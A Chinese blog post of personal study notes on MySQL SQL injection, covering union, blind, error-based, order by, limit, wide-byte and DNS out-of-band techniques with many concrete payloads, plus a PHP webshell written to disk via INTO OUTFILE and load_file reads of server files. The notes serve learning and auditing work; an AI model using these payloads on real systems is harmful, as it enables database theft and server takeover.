前言

基础漏洞学好研究明白才能更好的去学习审计。今天加了P神的圈子,代码审计和日战比当然是枯燥了些,希望自己能坚持下去。基础漏洞准备写个系
列,稍微深入研究下。

sql注入

总结了下觉得mysql注入主要分为如下几种方式。

基础注入

最简单的注入方式,一般是查询语句中没有对参数做过滤限制,导致绕过执行我们自己的查询语句并把直接显示到页面。

看网上一些文章去分析整型、字符型,当然这都无所谓。我们要思考的就是怎样执行我们的查询语句?

sqlmap中有这样一个参数。

prefix=PREFIX 注入payload字符串前缀   --prefix=admin%1$'

这参数的作用是绕过查询参数的闭合符号。

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"

以这条语句Less-1为例

可以看到没有报错并且执行了我们后插入的语句

$sql="SELECT * FROM users WHERE id='-1' union select 1,username,password from users where id=2 %23 # LIMIT 0,1"

也就是说遇到这种注入我们要做的就是无论参数被什么符号闭合,找到它fuzz出它闭合它。

盲注

布尔盲注

这个类型的注入我们这有根据页面的变化来逐字猜解我们要的信息。猜解正确回显正常,反之错误。

主要用到如下几种判断函数

left
left(a,b)从左侧截取a的前b位
substr
substr(a,b,c)从b位置开始,截取字符串a的c长度。结合ascii()使用
MID/ORD
mid(a,b,c)同substr
OPD()同ascii()
regexp
select user() regexp '^[a-z]';

时间盲注

根据页面返回时间长短判断猜解是否正确。结合if(condition,true,flase) / and 1=*判断语句使用。

主要用到如下几种函数

sleep
sleep(N)  可以让语句运行N秒
benchmark
benchmark() 可以测试某些特定操作的执行速度。参数可以是需要执行的次数和表达式。 

mysql> select benchmark(10000000,MD5("hello word"));
+---------------------------------------+
| benchmark(10000000,SHA1("hello word")) |
+---------------------------------------+
| 0 |
+---------------------------------------+
1 row in set (4.93 sec)
get_lock
get_lock(key,timeout) 一个是key,就是根据这个参数进行加锁的,另一个是等待时间(s)。
如果key是第一次加锁返回1,反之等待时间进行第二次加锁。

利用条件比较苛刻,需要使用 mysql_pconnect函数来连接数据库

要两个session分别进行

RLIKE

通过rpad或repeat构造长字符串,加以计算量大的pattern,通过repeat的参数可以控制延时长短。

rpad(str1,length,str2) str1没有length长用str2填充
repeat(str,count) 返回str重复count次之后的str
  
mysql> select rpad('a',4999999,'a') RLIKE concat(repeat('(a.*)+',30),'b');
+-------------------------------------------------------------+
| rpad('a',4999999,'a') RLIKE concat(repeat('(a.*)+',30),'b') |
+-------------------------------------------------------------+
|   0 |
+-------------------------------------------------------------+
1 row in set (5.27 sec)
笛卡尔积

概念自行百度吧,我现代60飘过。

本地测试两个表还可以,三个直接爆炸。(等不出来了估计是小时级的)

报错注入

报错注入也是一种盲注,利用MYSQL函数特性返回信息,法师的代码审计后面有写到一共十个函数。

floor
floor() 去除小数部分
rand() 产生随机数,如果限定种子rand(x)则随机数是固定的 

利用group by 和floor抛出主键冗余报错返回我们想要的信息。

select count(*),concat(floor(rand(0)*2),(payload)) as x from information_schema.tables group by x;
extractvalue
extractvalue(xml文档,xml路径) 对xml文档进行查询 查询的字符串最大长度32位,超出要结合substr

这个函数只要语法不错就不会报错会返回空。xml路径是/xx/x/ 这样的形式,我们只要写入非法格式就会报错。

select username from security.user where id=1 and (extractvalue('anything',concat('~',(payload))))
updatexml(同32位)
updatexml(目标xml文档,xml路径,更新的内容) 更新xml文档的函数  原理用法同上给错误路径格式报错
EXP
exp()当传入的数值大于709时就会引起溢出错误(适用大于MySQL5.5.5)

select exp(~(select*from(payload)x))
NAME_CONST
 and 1=(select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1)) as x)

利用mysql列明重复会报错,适用低版本(貌似只能测试内置函数,我尝试写入payload报错网上也没有找到相应的实例)

join

在已知表明的情况下适用

select * from (select * from 表名 a join 表名 b) c)  
在得到一个字段后,使用using得到下一个字段
select * from (select * from 表名 a join 表名 b using (已知的字段,已知的字段)) c  
几何函数
geometrycollection(),multipoint(),polygon(),multipolygon(),linestring(),multilinestring()

这些用法类似归结到一类,适用大于Mysql5.5.47,不包括5.7.17

select linestring((select * from(select * from(payload)a)b));

文件操作及增删改

load_file()导出文件

使用条件

1、有读写权限  and(select count(*) from mysql.user)>0/* 返回正常说明有读写权限
2、知道绝对路径
3、读取文件在服务器上
4、读取文件要小于 max_allowed_packet

示例

1、select 1,2,3,hex(replace(load_file(char(ascii编码的payload))))

2、select 1,2,3,load_file(char(ascii编码的payload))

3、select 1,2,3,load_file(hexpayload)

4、select 1,2,3,load_file(c:\\boot.ini)

load data infile

将文本中的数据写入到表中。

outfile 文件导出

Select <?php @eval($_post[“mima”])?> into outfile “c:\\phpnow\\htdocs\\test.php” 

sql写马用的及时这种方式,要有读写权限。也可以结合load_file()使用。
select load_ file(‘c:\wamp\bin\mysql\mysql5.6.17\my.ini’)into outfile‘c:\wamp\www\test.php

常见注入

宽字节

mysql使用GBK编码时认定两个字为一个汉字,在一些安全函数是这样(')转义单引号,我们可以%df%5c%27这样转义过来就变成運'单引号逃逸。
再说一下这个一定要

mysql_real_escape_string
mysql_set_charset 

一起使用,要不然还是会造成注入。

order by

order by排序函数,经常被使用在猜解列名。order by注入不是利用这个函数去注入而是指注入点在order by后面。

$sql = "select * from users order by $sort"

利用方式:

1、参数后直接跟注入语句 ?sort=(payload)

2、?sort=1 and (payload)

3、利用布尔类型进行判断 不限于rand(true/false) 也可以利用if()等判断函数。

/?sort=(select+1+regexp+if(substring((select+concat(table_name)from+information_schema.tables+where+table_schema%3ddatabase()+limit+0,1),1,1)=0x67,1,0x00))

limit

limit注入其实和order by 分不开。看p牛博客https://www.leavesongs.com/PENETRATION/sql-injections-in-mysql-limit-clause.html

SELECT field FROM table WHERE id > 0 ORDER BY id LIMIT injection_point

limit后面可以跟两个函数PROCEDURE 和 INTO,INTO要有写入权限,可以用报错和时间盲注直接上payload

报错注入

SELECT field FROM user WHERE id >0 ORDER BY id LIMIT 1,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1); 

时间盲注(sleep不行)

SELECT field FROM table WHERE id > 0 ORDER BY id LIMIT 1,1 PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(IF(MID(version(),1,1) LIKE 5, BENCHMARK(5000000,SHA1(1)),1))))),1)

无逗号注入

忘了是在哪到ctf题目里面get到的,以为不重要,但是某位老哥面试的时候被问到了。还是记录下,直接上payload。

' union select * from (payload) a join (select version() ) b %23

DNSlog注入

将select查询到的数据与一个域名拼接成一个新的子域名,然后请求解析这个子域名,利用dns解析产生的记录日志来查看数据。

Ceye

CEYEhttp://ceye.io是一个检测带外流量的监控平台,如DNS查询和HTTP请求。注册之后会分配一个二级域名:xxx.ceye.io,我们把注入信息放到三级域名。

因为要用load_file()解析DNS请求,所以mysql secure_file_priv的值不能为NULL。这个配置在phpmyadmin日志文件getshell里也有用到。

总结

sql基础基本就这样了,主要是要灵活利用。总结了一些报错盲注函数,遇到waf的时候可以都试试,后续尝试写一些bypass的,可能是只研究sqlbypass,也可能等基础漏洞写完之后一起研究下。(估计很有难度)

参考链接

https://www.freebuf.com/articles/web/175049.html

https://www.cdxy.me/?p=789

https://xz.aliyun.com/t/253

https://www.cnblogs.com/afanti/p/8047530.html